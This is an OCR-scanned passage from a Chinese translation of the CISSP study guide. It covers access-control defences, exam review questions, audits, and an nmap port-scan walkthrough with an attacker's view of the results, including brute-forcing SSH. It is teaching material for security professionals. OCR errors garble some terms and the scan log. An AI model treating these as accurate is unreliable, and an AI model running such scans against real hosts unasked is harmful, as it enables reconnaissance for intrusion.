的时间获取信息 。 故障分析攻击试图引发错误， 比如向卡片提供很少的 电力 以获取有价值的信息。
拒绝服务攻击
拒绝服务(DoS)攻击会阻止系统进行处理或阻止对合法流量或资源请求的响应。 当系统失效后，
所有对系统的合法访问 都会出现阻塞、 中 断或迟缓。 举一个简单的例子， 如果一台服务器没有足够
的物理安全保护 ， 攻击者就可能拔掉它 ， 将它从服务中删除。
DoS 攻击经常发生在网络上， 包括互联网。 一些 DoS 攻击允许攻击者在服务器上安装恶意代码。
比如， 攻击者可以通过下载安装驱动或代码， 进而在 Web 服务器上显示恶意弹出窗 口 。 这种恶意代
码会在用户 请 问 受感染网 页 时感染用户系统 。
6. 防护方法汇总
以下列表总结了很多安全措施， 可 以防止访问控制方面的攻击。 然而， 值得注意的是， 这个保
护列表不够全面， 无法对抗所有的攻击类型。 你会发现本书中还有其他的额外控制可 以帮助防止
攻击。
对系统的物理访问控制 。 关于安全性的一句名言是， "如果攻击者无限制地对计算机进行物理访
问 ， 攻击者就会拥有它"。 如果攻击者可 以对身份认证服务器进行物理访问 ， 他们就可以在很短时间
内 盗取密码文件。 一旦攻击者盗取了 密码文件， 他们就可以在线下进行密码破解。 如果攻击者成功
下载密码文件 ， 就可以认为所有的 密码都存在危险。
对文件的电子访问控制 。 严格控制和监控对密码文件的电子访问 。 终端用户和非账户管理人员
在日常工作中不需要访问密码数据库。 安全专业人员应该对任何未经授权的密码数据库访问进行及
时调查。
加密密码文件。 对可用操作系统的密码文件进行强加密有助于保护它们免受未经授权的访问 。
散列法(如前所述)是一种常见的加密方法。 此外， 在进行密码散列之前， 对密码加盐(salting)可以提
供更强的保护。 对包含密码数据库文件副本的所有介质进行严格控制也非常重要， 如备份磁带或磁
盘修复。 最后 ， 在传输过程中 对敏感数据进行加密也是很重要的 ， 包括通过网络发送密码。
创建强密码策略。 通过编程的密码策略可 以强制使用强密码， 确保用户 定期更改密码。 攻击者
在破解多种宇符类型的长密码时需要用更长的时间 。 如果有足够的时间， 攻击者可以通过离线暴力
攻击找到所有的密码， 所 以要保持安全性， 就需要定期更换密码。 很多安全或敏感环境需要更强的
密码， 并且会要求用户 频繁更改密码。 许多组织对特权账户实行单独的密码策略 ， 如管理员账户 ，
以确保这些账户 的 密码更强且管理 员与普通用户相比， 会更加频繁地修改密码。
使用密码掩码。 确保应用程序在任何屏幕上都没有以 明文方式显示过密码， 而且在显示密码时
以替代性字符表示密码， 如星号(*)。 这能减少肩窥， 但用户应该意识到， 攻击者能够通过观察用户
在键盘上的按键方式获得密码。
配置多因素身份认证。 配置多 因素身份认证， 比如使用生物识别技术或令牌设备 。 当某组织使
用多因素身份认证时， 攻击者就算发现了密码， 也无法访问 网络。 许多在线服务， 比如谷歌， 现在
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CISSP 官方学 习指南(第 7 版)
提供的就是多因素身份认证， 作为额外的保护措施。
使用账户锁定控制。 账户锁定控制有利于防止在线密码攻击。 在密码输入不正确超过预先设定
的次数后， 账户就会被锁定。 账户锁定控制通常使用阀值水平(clipping levels)， 虽然会忽略一些用户
错误， 但在达到某个阔值后就会采取行动。 例如， 通常会允许用户 发生 5 次的错误输入， 之后就会
锁定账户 。 对于不支持账户锁定控制的系统和服务， 比如大多数的 盯P 服务器， 会在登录时附加入
侵检测系统以保护服务器的安全。
提示 :
账户锁定控制有助于防止攻击者精测 网 上账户 的 密码。 然而， 这并不能阻止攻击者使用 密码破
解工具对偷来的数据库文件进行密码破解。
使用最后一次登录通知 。 许多系统会显示一条消息 ， 包含最后一次成功登录的时间、 日期和地
点(如计算机名或E地址)。 如果用户关注此消息 ， 则可能会注意到是否有其他人登录 自 己的账户 。
例如， 如果用户是在上周五登录账户 ， 但最后一次登录通知显示周六时有人访问该账户 ， 则表明存
在 问题 。 怀疑别人登录 自 己账户 的用 户 可 以更改密码或向系统管理员报告这个问题。
对用户进行安全教育 。 获得恰当训练的用户对安全性和使用强密码有着更好的理解。 警告用户
他们不应该分享或写下 自 己的密码 。 管理员可能会对最敏感的账户 ， 如管理员账户或根账户 ， 设置
又长又复杂的密码， 并把这些密码存储在库或保险箱中 。 提示用户如何创建强密码， 如密码短语，
以及如何预防肩窥。 让用户知道在所有网上账户(如银行账户和游戏账户)上使用相同密码的危险。
当用户对所有这些账户使用相同的密码时， 对游戏系统的成功攻击可以让攻击者访问用户 的银行账
户 。 用户也应该知道常见的社会工程学手段。
1 4.3 本章小结
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本章涵盖了许多访问控制模型相关的概念。 权限是指对客体的访问权， 并决定着用户(主体)能
够对客体做什么 。 权利主要是指对客体采取行动的能力。 特权包括权利和权限。 隐式拒绝确保对客
体的访问被拒绝， 除非访 问权被明显地授予主体。
访问控制矩阵是一个关注客体的表， 包括客体、 主体以及分配给主体的特权。 表 中 的每一行代
表单个客体的 ACL ACL 关注客体， 并识别为任何特定客体而授予主体的访问权。 功能表关注主
体 ， 并识别主体可 以访问 的客体。
限制接口 基于用户 的特权限制他们可以做什么或者可以看到什么 。 内容有关的控制基于客体的
内 容限制访问。 情境有关 的控制在授予用户访问权之前需要进行特定的活动 。
最小特权原则确保主体只被授予执行工作任务和工作职能所需的特权。 职责分离有助于防止欺
诈 ， 因 为它确保敏感功能会分别由两名或两名 以上的员工负责。
书面安全策略定义了组织的安全需求、 安全控制的实施和执行安全策略。 深度防御策略实现了
多 级安全控制 以对资产进行保护 。
在有 自 主访 问控制时， 所有客体都有一个所有者， 所有者对客体具有完全控制权。 管理员集中
管理不可任意支配的控制。 基于角色的访问控制使用通常与组织层级结构相匹配的角色和组。 管理
员为用户设定角色， 并基于工作或任务为角色分配权限。 基于规则的访问控制使用适用于所有主体
的全局规则 。 强制访 问控制要求所有客体都有标签， 访 问基于主体是否有相匹配的标签。
第 14 章 控制和监控访问
重要的是要理解评估访问控制攻击潜在损失时的基本风险元素。 风险是威胁利用漏洞带来损失
的可能性。 资产估值确定 资产的价值， 威胁建模识别潜在威胁， 脆弱性分析识别漏洞。 这些都是在
实施控制 以 防止访 问控制攻击时需要理解的重要概念。
常见的访问控制攻击试图绕过身份认证机制。 访问 聚合是收集和聚合非敏感信息以便推断出敏
感信息的行为。
密码是一种常见的身份认证机制， 存在几个不同的攻击类型试图破解密码。 密码攻击包括字典
攻击、 暴力攻击、 生日攻击 、 彩虹表攻击和嗅探攻击。 套路攻击是针对智能卡的被动攻击。
社会工程学技术经常在为了得到密码和其他数据时使用 。 网络钓鱼使用 电子邮件试图让用户放
弃有价值的信息(比如凭证)、 单击链接或打开恶意附件。 鱼叉式网络钓鱼针对的是一群人， 比如在
某个组织工作的人。 捕鲸针对的是高层管理人员 。
1 4.4 考试要点
识别常见授权机制。 考虑到分配给己认证身份的权限， 授权确保请求的活动或客体访问是可能
的 。 例如， 可 以确保具有适当权限的用户可以访 问文件和其他资源。 常见的授权机制包括隐式拒绝、
访 问控制列表、 访问控制矩阵、 功能表、 限制接口、 内容有关的控制和情境有关的控制。 这些机制
应实施安全原则 ， 如 " 知其所需 "、 " 最小特权原则 " 和 " 职责 分离 "。
了解每个访问控制模型的细节。 在自主访问控制模型中 ， 所有客体都有所有者， 所有者可以修
改权限。 管理员集中管理不可任意支配的控制。 基于角色的访问控制模型使用基于任务的角 色， 当
管理员为账户分配角色后 ， 用户获得特权。 基于规则的访问控制模型使用一套规则、 限制或过滤器
来确定访 问 。 强制访问控制使用标签来识别安全域 。 主体需要匹配标签来访 问客体。
理解基本的风险元素。 风险是威胁利用漏洞、 破坏资产的可能性。 资产估值确定资产的价值，
威胁建模识别对这些资产的威胁， 脆弱性分析识别组织有价值资产的弱点。 访问聚合是一种结合、
聚合非敏感信 息 以 获取敏感信息 的攻击 ， 用 于侦察攻击。
理解暴力攻击和字典攻击的运行方式。 暴力攻击和字典攻击针对 的是被盗密码数据库文件或系
统的登录提示。 设计它们是为了发现密码。 暴力攻击使用的是键盘字符所有可能的组合， 而字典攻
击 中使用 的 是可能密码的预定义列表。 账户锁定控制能阻止它们对网络攻击的有效性。
理解强密码的必要性。 强密码会使密码破解工具失效。 强密码包括多个字符类型， 而不是字典
中 的单词 。 密码策略确保用户 创建强密码。 密码在存储时应被加密 ， 通过网络发送时也应进行加密。
身份认证可 以 通过使用 密码 以外的额外因 素进行增强 。
理解嗅探攻击。 在嗅探攻击(或窃听攻击)中 ， 攻击者使用数据包捕获工具(如嗅探器或协议分析
器)来获取、 分析和读取通过网络发迭的数据。 攻击者可以很容易地读取在网络上以明文发送的数据，
但是在传输中加密数据就可 以防止这种类型的攻击。
理解电子欺骗攻击。 电子欺骗指的是假装成别的东西或其他人， 被用在许多类型的攻击中， 包
括访问控制攻击。 攻击者通常试图获得用户 的凭据 ， 以便可以诱骗用户 的身份。 欺骗攻击包括邮件
欺骗、 电话欺骗、 IP 欺骗 。 许多钓鱼攻击都使用欺骗的方法。
理解社会工程学。 社会工程学攻击是指攻击者试图说服某人提供信息(如密码)或执行他们通常
不会执行的动作(如单击恶意链接)， 从而导致安全性损害。 社会工程师经常试图获得对 町 基础设施
或物理设施的访问权限 。 用 户 教育是一种用来阻止社会工程学攻击的有效工具。
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CISSP 官方学 习指南(第 7 版)
理解网络钓鱼。 网络钓鱼攻击常用来诱使用户 放弃个人信息(如用户 账户和密码)、 单击恶意链
接或打开恶意附件。 鱼叉式网络钓鱼的 目标针对特定的用户群， 捕鲸针对高层管理人员 。 电话钓鱼
使用 VolP 技术。
1 4.5 书 面实验室
1 . 描述 自 主和 非 自 主访 问控制模型之间的主 要区别。
2. 列 出 在识别和阻止 民 间 控制攻击时可利用 的三个识别要素。
3 . 说 出三种用于发现密码的攻击类型 。
1 4.6 复习题
1 . 以下哪一项最能描述隐式拒绝原则?
A. 未明确否认的所有动作都被允许。
B. 未明确允许的所有操作都被拒绝。
C. 所有行动必须明确否认。
D. 以上都不是。
2. 最小特权的 目 的是什么 ?
A. 由用户运行系统进程需要的最严格的权利 。
B. 由用户运行 系统进程需要的最少限制 的权利 。
C. 由用户完成指定任务所需的最严格的权利 。
D. 由用户完成指定任务所需的最少限制 的权利 。
3. 一个表包括多个客体和主体， 并确定了每个主体具体访问时都有不同的客体。 这个表被称为
什么 ?
A. 访 问控制列表
B. 访问控制矩阵
C. 联合
D. 蠕变特权
4. 谁或什么根据 自 主访 问控制模型授予权限给用户?
A. 管理员
B. 访 问控制列表
C. 分配标签
D. 数据监管者
5. 以 下哪个模型也被称为基于身份的访 问 控制模型 ?
A. 自 主访 问控制
B. 基于角 色的访问控制
C. 基于规则 的访问控制
D. 强制访 问控制
第 14 章 控制和监控访问
6. 集中式授权确定 哪些文件用 户 可以访问 。 以下哪一项最能说明 这一点?
A. 访问控制列表(ACL)
B. 访问控制矩阵
C. 自 主访问控制模 型
D. 非自主访 问控制模型
7. 集中式授权确定用户可以根据组织层级结构来访问哪些文件。 以下哪一项最能说明这一点?
A. 自 主访 问控制模型
B. 谛 问 控制列表(ACL)
C. 基于规则 的访问控制模型
D. 基于角色的访问控制模型
8. 以 下哪一项涉及基于角色的访问控制模型 ?
A. 基于角色的访问控制模型允许多个组中的用户成员 资格
B. 基于角色的访问控制模型允许单个组中 的用户成员资格
C. 基于角 色的访问控制模型是非分层的
D. 基于角色的访问控制模型使用标签
9. 以 下哪一项对于在组织内 部使用基于 角色的访问控制模型是最佳选择 ?
A. Web 服务
B. 应用程序
C. 数据库
D. 开发人员
1 0. 以下哪一项最能说明 基于规则 的访问 控制模型 ?
A. 采用本地规则应用于单个用户
B. 采用全局规则应用于单个用 户
C. 采用本地规则平等地应用于所有用 户
D. 采用全局规则平等地应用于所有用户
11. 什么类型的访 问 控制模型被用 于防火墙?
A. 强制访问控制模型
B. 自 主访 问控制模型
C. 基于规则 的访问控制模型
D. 基于角色的访问控制模型
1 2. 什么类型的访问控制依赖于使用标签?
A. 自 主访 问控制模型
B. 非自主访问控制模型
C. 强制访问 控制模型
D. 基于角色的访 问 控制模型
1 3. 以 下哪一项最能说明强制访问 控制模型的特点 ?
A. 采用显式拒 绝理念
B. 宽松的
c. 基于规则
D. 静止
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CISSP 官方学 习指南(第 7 版)
14. 以 下哪一项不是有效的访 问 控制模型 ?
A. 自 主访 问控制模型
B. 非自主访问控制模型
c. 强制访 问 控制模型
D. 基于 Lettuce 的访 问控制模型
1 5. 组织会做什么来识别弱点?
A. 资产评估
B. 威胁模型
c. 脆弱性分析
D. 访问审查
16. 以 下哪一项可 以 帮助缓解网上蛮力攻击的成功率 ?
A. 彩虹表
B. 账号锁定
c. 撒盐密码
D. 密码加密
17. 试 图检测智能卡中 的缺陷是什么攻击?
A. Whaling
B. 旁路攻击
c. 暴力攻击
D. 彩虹表攻击
1 8. 什么类型的攻击使用 电子邮件， 试图诱骗 高层管理人员 ?
A. 网络钓鱼
B. 鱼叉式钓鱼
c. 捕鲸
D. 语音钓鱼
在 回答问题 1 9 和 20 时， 参考 以下情境:
一个组织最近遭受了一系列安全漏洞， 声誉大大受损。 多次成功袭击后 ， 可 以通过公司 的一台
Web 服务器获得被盗用 的客户数据库文件。 此外， 一名员工能从先前的工作权限分配中获得对机密
数据的访问。 这名员工对数据进行复制， 并卖给竞争对手。 该组织己聘请安全顾问， 帮助他们减少
未来攻击的可能风险。
1 9. 顾问会用什么来识别潜在的攻击者?
A. 资产评估
B. 威胁模型
c. 脆弱性分析
D. 访 问 审查和审计
20. 为确保顾问 具有正确的 关注点 ， 需要完成什么 ?
A 资产评估
B. 威胁模型
c. 脆弱性分析
D. 审计跟踪的建立
第 1 5 .::èi:二
阜L
安全评估和测试
本章中覆盖的 CISSP 考试大纲包含 :
6. 安全评估和测试(设计、 执行和分析安全测试)
• A. 设计与验证评估和测试策略
• B. 进行安全控制测试
B. l 漏洞评估
B.2 渗透测试
B.3 日 志审 核
B.4 综合事务
B.5 代码审核和测试(如手动测试、 动态测试、 静态测试、 模糊测试)
B.6 误用情况测试
B.7 测试覆盖分析
B.8 接口测试(如 API 测试、 UI 测试、 物理测试)
• C. 收集安全处理数据(如管理和操作控制)
C. l 账户管理
C.2 管理审核
C.3 关键性能和风险指标
C.4 备份验证数据
• D. 分析和报告测试输出(如 自 动 、 手动)
• E. 实施或促进 内 部审 计和第三方审计
在这本书中， 你已经了解了很多信息安全专家用来确保信息机密性、 完整性和数据可用性的不
同控制。 其中， 技术性控制在保护服务器、 网络和其他信息处理资源方面发挥着重要的作用 。 一旦
安全专家创建并配置了 这些控制 ， 就必须定期地测试这些控制 以便确保持久地保障信息安全。
安全评估和测试幸自芋要进行定期检查， 以确保安全控制数量足够、 部署到位并且能够有效地执
行它们的指定功能。 在本章， 你将学习世界各地的安全专家们所使用 的各种评估和测试控制方法。
CISSP 官方学习 指南(第 7 版)
1 5.1 创建安全评估和测试程序
信息安全团队维护活动的基石就是他们的安全评估和测试程序。 这个程序包括测试、 评估和审
计， 它们用来定期核实机构有充足的安全控制以及这些安全控制可以正常运作以便有效地保护信息
资产 。
在本节 ， 你将学习 安全评估程序的三大主要构成:
• 安全测试
• 安全评估
• 安全审计
1 5.1.1 安全测试
安全测试能够验证控制运行正常。 这些测试包括自 动扫描、 工具辅助渗透测试和手动测试。 安
全测试应该定期进行 ， 需要关注保护组织的每个关键安全控制。 安排对安全控制进行审查时， 信息
安全管理人员应考虑 以下因素:
• 安全测试资源的可用性
• 由 被测控制保护 的 系统和应用程序的危急程度
• 被测系统和应用所包含信息的敏感度
• 实现控制机制 出 现技术故障的可能性
• 会危及安全的错误配置 的可能性
• 系 统遭受攻击的风险
• 控制配置的变化率
• 可 能影响控制性能的技术环境中 的其他变化
• 执行控制测试的难度和所需时间
， 测试对正常业务运行的影响
完成对这些因素的评估后 ， 安全团队可设计和验证一个综合的评估测试策略。 这一策略可包括
频发的 自 动测试井辅以较少的手工测试。 例如， 信用卡处理系统可在夜间进行 自 动漏洞扫描， 并且
在扫描检测到新漏洞时立即提醒管理员 。 一旦配置了 自 动扫描， 就不再需要管理员做此工作 ， 所 以
频发运行就相对容易很多。 安全团队可能希望以手动渗透测试作为自动扫描的补充， 手动渗透测试
需要雇佣外部顾问来进行。 这些测试最好在每年年检的基础上进行 ， 如此可降低成本、 减少业务
中 断。
警告 :
许多 安全测iM.呈序开始时比较随意， 安全专 家只是用新奇的工具测试他们首先遇到 的 系统， 而
不管这个 系 统是什么 。 实验新工具固 然很好， 但安全测iM.呈序应该精心设计， 这个设计要使用风险
优先法来包含严格的和常规的检测 系 统。
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当然， 只 进行安全测试是不足够的。 安全专家也必须仔细审核这些测试的结果， 确保每个测试
是成功的。 某些情况下， 这些审核要包括手动阅读测试的输出 结果并验证测试已成功完成。 还有些
测试需要人工解释 ， 这些解释必须由训练有素的 分析师进行 。
第 1 5 章 安全评估和测试
其他审核可以由安全测试工具 自 动执行， 该工具能够验证测试的成功完成、 记录结果并保持沉
默直到有重大发现。 当系统检测到需要引 起管理员 注意的问题时， 会触发警报、 发送电子邮件或短
信 ， 甚至根据预警的严重性和管理员 的偏好 自 动打开故障单。
1 5.1.2 安全评估
安全评估是对系统、 应用程序或其他测试环境的综合评价。 在进行安全评估的过程中 ， 受过培
训 的信息安全专家会执行风险评估以识别受测环境的漏洞， 由此可根据需要做出折中处理和提出修
复建议。
安全评估通常包括使用安全测试工具， 但不只是 自 动扫描和手动渗透测试， 还包括彻底审核威
胁环境、 当 前和 未来面临 的风险 以及 目 标环境的价值。
安全评估工具的主要产物通常是一份用于管理的评估报告， 这份报告以非技术性的语言描述了
评估结果， 并且以 具体建议作为结论， 从而提高被测环境的安全性。
1 5. 1 .3 安全审计
安全审计会使用与安全评估期间相同的许多技术 ， 但必须由独立的审计员执行 。 虽然组织的安
全人员可能经常进行安全测试和评估 ， 但并不适用于审计。 评估和测试结果仅供内 部使用 ， 旨在评
估控制 以求发现需要改进之处。 从另一方面来说， 审计就是评估， 目 的是向第三方展示控制的有效
性 。 为组织设计、 实施和监测控制 的 员工在评估这些控制 的有效性时存在固 有的利益冲突。
审计员对安全控制的状态做出 的评判应公正、 无偏见。 他们编写 的报告与安全评估报告非常类
似， 但这些报告的阅读对象不同， 可能是公司的董事会、 政府的监管人员和其他第三方。 审计的类
型主要有两种: 内部审计和外部审计。
政府审计员发现空中交通管制的 安全漏洞
美国联邦 、 州 和地方政府也使用 内 部和外部审计员执行安全坪佑 ， 美 国政府审计总署(GAO)受
国会要求执珩审计， 而 GAO 审计通常关注的是信息安全风险。 20 15 年， GAO 发布了 一份审计报告，
题为 "信息安全: 美国联邦航空管理局(FAA)需要解决 空 中 交通管 制 系 统的安全漏洞 "
这份报告的结论不太乐观 "尽管美国联邦航空管理局σM)已经采取措施保护其空 中 交通管制
系 统不受基于 网络的威胁及其他威胁， 但其仍然存在重大的安全控制弱点， 影响 了 该机构保证国 家
空管 系 统(NAS)可以不间 断安全运行的确定性。 这些控制弱 点体现在对计算机资源未经才是权访问 的
防止、 限制和检测上。 例如， 关于保护系统边界的控制 、 识别和验证用户、 技权用 户访 问 系统、 加
密敏感数据以 及对 FAA 系 统的 审计和监测活动。 "
接着这份报告提出 1 7 个建议， 建议 FAA 如何提高其信息安全控制以便史好地保护国 家空 中 交
通管制 系 统 的 完整性和可 用 性 。 GAO 报告全文可从 下 面 的 链接找到 : h句://gao.gov/assets/
670/668 1 69.pdf.
内 部审计由组织的内部审计人员执行且通常也是为 了 内 部使用。 执行这些审计的 内部审计人员
通常有一套报告流程， 这套流程完全与他们评估的功能一致。 在许多组织中， 首席审计执行官向总
裁、 首席执行官或类似角色的人员进行直接汇报。 首席审计执行官也可直接向组组的董事会进行汇报。
443
444
CISSP 官方学 习 指南(第 7 版)
外部审计由外部审计公司执行。 这些审计的外部效度(degree of extemal validity)很高， 因 为理论
上执行评估的审计员与机构本身没有利益冲突。 可 以进行外部审计的公司有很多， 但人们最信赖的
当属 " 4 大 " 审计公司 :
• 安永
• 德勤
• 普华永道
• 毕马威
由 这 4 大公司执行的审计通常受多数投资者和机构成员接受和认可。
信息、安全专家往往被要求参与内部和外部审计。 他们通常必须提供相关的安全控制信息给审计
人员 ， 这里可采用面谈和书面文档 的形式。 审计员也可要求主管安全的工作人员参与控制评估的过
程中 。 通常情况下， 审计员有得知组织所有信息的权利， 而且主管安全的工作人员应当依从这些请
求 ， 如有需要应作为管理层顾 问 。
当审计出现错误时
4 大审计公司 直到 2002 年才最终形成。 在这之前， 其实是 5 大审计公司 ， 还 包括备受人们推崇
的安达信会计师事务所。 然而， 始料未及的安然事件让安达信再也无法立足。 安然是一家能源公司 ，
在其系统化的 财务造假行为受到指控而 引发监管机构和媒体的广 泛关注后 ， 安然于 2001 年突然 申请
破产 。
安达信是当 时世界最大的审计公司 之一， 曾执行对安然公司 的财务审计， 并签字认为安然的欺
诈行为具有合法有效性。 后来， 该公司被指控妨碍司 法公正， 虽 然最高法院随后宣告其罪名 不成立，
但由 于该公司 在安然丑闻和其他欺诈行为 的 指控中信誉严 重受损 ， 因 此很快就倒 闭 了 。
1 5.2 执行漏洞评估
漏洞评估是信息安全专家工具箱中 的一个重要测试工具。 漏洞扫描和渗透测试为安全专家提供
的视角是系统或应用在技术控制方面的弱点 。
注意 :
从术语角度更清晰的解释是， 本幸描述的漏洞评估其实就是安全测试工具而非安全评估工具。
为保持语言的一致性， 它们应该被称为漏洞测试， 但我们继续沿用 。SC/在官方 CISSP 知识体中的
描述。
1 5.2.1 漏洞扫描
漏洞扫描会自 动对系统、 应用手里字和网络进行探测， 寻找可能会被攻击者利用 的弱点。 用于这
些测试的扫描工具能提供快速、 仅通过点击操作的测试， 并执行这些单调乏味的任务 ， 而无须手动
干预。 大多数工具允许以循环为基础的预定扫描 ， 并且能够提供报告 ， 显示不同时间各项扫描之间
的 差异 ， 向 管理员提供安全风险环境的变化情况。
漏洞扫描的类型主要有三种: 网络发现扫描、 网络漏洞扫描和 W巳b 应用程序漏洞扫描。 每种类
型的扫描都由多个工具执行。
第 1 5 章 安全评估和测试
警告 :
记住， 信息安全专 家并不是唯一有漏洞测试工具的人。 攻击者通过使用 "好人" 同 样的工具，
在尝试入侵前对系统、 应用程序和网 络运行漏洞进行测试。 这些扫描能够帮助攻击者瞄准漏洞 系统，
重 点攻击他们最可能得手的系统。
1 . 网络发现扫描
网络发现扫描使用多种技术对一系列 E 地址进行扫描， 搜索配有开放网络端 口 的系统。 网络发
现扫描器实际上不能探测系统的漏洞， 只是提供一份网络检测的系统显示报告和一份端口清单， 这
份清单通过网络和 服务器防火墙公开了 隐藏在扫描器和扫描系统之间网络路径中的端 口 。
网络发现扫描器使用许多不同技术识别远程系统中 的 开放端口。 一些比较常见的技术如下:
TCP SYN 扫描 向每个被扫描的端 口发送带有 SYN 标志设置的单个数据包， 这代表打开一个
新连接的请求。 如果扫描器收到 了 SYN 和 ACK 标志设置的响应包， 则表明该系统正 以 TCP 三次
握手方式移至第二阶段， 且端 口 是开放的。 TCP SYN 扫 描也被称为 " 半开放 " 扫描。
TCP 连接扫描 向指定端 口 的远程系统打开一个全连接。 这种扫描的使用情景是: 扫描用户没
有运行 " 半开放" 扫 描的必要权限。
TCP ACK 扫描 发送带有 ACK 标志设置的 单个数据包， 指明它是开放连接的一部分。
Xmas 扫描 发送带有 FIN、 PSH 和 URG 标志设置的数据包。 这个数据包带有很多标志设置，
被称为 " 点亮的圣诞树 " ， 因 而给这种扫描起了 这个名字。
提示 :
如果忘 了 TCP 三次握手是如何实现功能的， 可以在第 1 1 章 "网 络安全架构与保护 网络组件"
中 找到 关 于这一内 容的全部解释。
用 于网络发现扫描的最常见工具是一个名为 nmap 的开源工具。 nmap 最初在 1 997 年发布， 现
如今依然在维护和使用 。 它是一款很受欢迎的网络安全工具。 绝大多数安全专家在其职业生涯中或
是定期使用 nmap. 或是在某种情况下使用 nmap。 可以通过下面的链接下载免费 的 m叩 或了解关
于此工具的更多内容: http://nmap.org。
当 nmap 扫描系统时， 它能够识别系统上每个网络端口 的当前状态 。 当 m叩 检测到结果时， 会
给出该端口的 当前状态:
开放 端 口 在远程系统上是开放的， 有一个应用程序正在连接该端 口 。
关闭 端口在远程系统上可用 ， 意味着防火墙允许接入， 但是没有开放应用程序与该端 口 的
连接。
过洁、 nmap 无法确定端 口 是开放还是关闭， 因为防火墙对连接请求有干扰。
图 1 5. 1 显示的是正在工作的 nmap 示例 。 使用者在 Linux 系统中执行下列命令:
nmap -vv 5 2 .4.8 5 . 159
nmap 软件对 E 地址 52.4.85. 1 59 开始系统端口 扫描。指定-vv 标志只是告知 nmap 使用详细模式，
对报告结果做出详细输出 。 扫描结果出现在 图 1 5. l 的底部， 表明 nmap 发现系统的三个活动端口 :
22、 80 和 443 。 端 口 22和80 是开放的， 表明系统正在这些端 口上接受连接请求。 端 口 443 是关闭
的 ， 意味着防火墙包含允许在该端 口进行连接的请求规则， 但系统没有运行适配于接受这类连接的
应用程序 。
445
CISSP 官方学 习 指南(第 7 版)
-
Sun 问ay 03 scanner $ nmap -vv 5 2 .4.85 . 159
446
Sta rting Nmap 6.40 ( http: //nma p .org ) at 2015-05-03 16 : 06 UTC
Init iat ing Ping Scan at 16 : 06
Scanning 52 .4.85.159 [2 po rtsl
Comp1.eted P主ng Scan at 16 : 06， 0.00s e1.apsed (1 tota1. hosts)
Initiat ing Pa ra1.1.e1. DNS reso1.ut工on of 1 host . at 16 : 06
Comp1.eted Para1.1.e1. DNS reso1.ution of 1 host . at 16: 06， 0 . 00s e1.apsed
Init iating Connect Scan at 16 : 06
Scanning ec2-52-4-85-159 . compute-1. amazonaws . com ( 52.4.85 . 159 ) [ 1000 po rtsl
Dis cove red open po rt 22/tcp on 52 . 4 . 85 . 159
Dis cove red open po rt 80/tcp on 52 .4.85.159
Comp1.eted Connect Scan at 16 : 06， 4 . 71s e1.apsed ( 1000 tota1. po rts)
Nmap scan repo rt f口r ec2-52-4-85-159. compute-1 . amazonaws . com ( 52.4.85.159 )
Host is up (0. 00090s l.aten cy) .
Scanned at 2 015-05-03 16 : 06:24 UTC fo r 5s
Not shown : 997 fi1.tered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp c lo sed https
Read data fi1.es f rom: /us r/bin/ . . /share/nmap
Nmap done : 1 IP add ress (1 host up) scanned in 4.73 seconds
Sun May 03 scanner $ 自
图 1 5.1 nmap 扫描 Linux 系统的 Web 服务器
要想解释这些结果， 必须了解常见网络端 口 的使用方法， 如在第 1 2 章 中所述。 现在来看一下
nm叩 的这次扫描结果 :
• 端口列表第 l 行， 22/tcp 叩巳n ssh， 表示系统在 TCP 端 口 22 上接受连接。 SSH 服务使用此
端 口 允许管理员连接服务器。
• 端 口列表第2行， 80/tcp open htφ， 表示系统在端口 80 上接受连接请求， 使用 H甘P 发送
Web 页面。
• 端 口列表最后一行， 443/tcp closed https， 表示防火墙允许使用端口 料3 ， 但没有该端 口提供
的服务。 端 口 443 使用 HTTPS 协议接受加密的 Web 服务器连接。
从这些结果中， 我们能学到什么? 被扫描的系统很可能是一台 Web 服务器， 能公开接受来 自 扫
描系统的连接请求。 扫描器和系统之间的防火墙配置允许安全(端 口 443)和非安全(端 口 80)的连接，
但实际上并没有对服务器进行加密交易 的设置。 该服务器也有一个开放的管理员端 口 ， 允许命令行
连接。
阅读这些结果的攻击者可能会对系统进行如下观测 ， 以便进行进一步的探索 :
• 在此服务器上指定 Web 浏览器能很好地观测该服务器能做什么 以及谁在操作。 在浏览器地
址栏中简单输入 h忧p://52.4.85. 1 59 能显示出可用信息 。 图 1 5.2 显示了 进行此操作的结果 : 该
网 址正在运行 Apache Web 服务器的默认安装。
• 指 向该服务器的连接没有加密 。 窃取这些连接， 如有可能 ， 会泄露一些敏感信息 。
• 开放的 SSH 端 口 是个有趣的发现。 攻击者可能试图在这个端 口 上对管理员账户进行暴力密
码攻击 以便进一步访 问系统。
在这个例子中 ， 我们用 nmap 扫描单个系统， 但是该工具也允许扫描带有开放端口 系统的整个
网络。 图 1 5.3 显示了对 192. 1 68. 1 .0/24 网络的扫描， 包括 192. 1 68. 1 .0-192. 1 68. 1 .255 范围内 的全部地址。
第 1 5 章 安全评估和测试
Aim#f，lllllll川Rml:l咿 E
This page is used 10 t881 the proper operation of the Apache HTIP server after it has been InslaUed. If you can read IhiS page，
it means that the web server installed at this site is workîng properly， bul has not yet been conf咀ured.
1I you are a member 01 the general public:
The fact that you are seeing Ihis page indicates that the
website you just visiled is either experiencíng problems， or
is undergoing routine maintenance
U you would like t。 国t the adminìstrato陪 of this websi国
know that you've seen IhiS page instead 01 the page you
expected， you should send them e-mail. In gener，剧I mail
5en! 10 the name "webmaster" and directed 10 Ihe website's
domain should reach the appropriate pe用on
For example， it you experienced problems while visiting
www.example.com， you should send e-mail to
"webma5ter@example.com"
The 且旦皇lQn U四旦lLðM! is a suppo阳d and mainlained
Linux Amazon
image provìded by Amazon Web Services for U5e on
EI�唱ic Comoute Cloud (Amazon EC21. llis
designed 10 pro川de a 51ab恼， secure， and high performan国
execution environment for app1i臼tions running on 8.皿旦旦且
�. lI a险。 includes packages thal enable easy integration
wilh/':，血皇， including launch co时iguration 10015 and m町y
popular AWS libr.rie5 and 10015. /':，mazon Web SelVÏce5
pro川 des ongoing 5ecu仰 and malntenan四 upd.le5 10 .11 lJ!l且且.AM!
in5tance5 running the 缸E但也μnu，且AM!.工且旦lY1J.但如
�监旦旦
i5 provided at no addilional charge to Am且=
1I you are the webslte adminlstrator:
You may now add contenl 10 the directo叩 Ivar/www/htmll
Note that untìl you do 50， P四ple v陪iting your website will
see this page， and not your content. To prevent this page
from ever being used， follow the in5t阳ction5 in the file
letc/httpd/cont .dl‘oIelcome.cont
You are Iree 10 use the ímages below on Apache and
Amazon Linux AMI powered HTIP 5e阿ers. Thanks for
using Apache and Ihe Amazon Linux AMI! 啕刷品ZikpACHi兰蝠画画
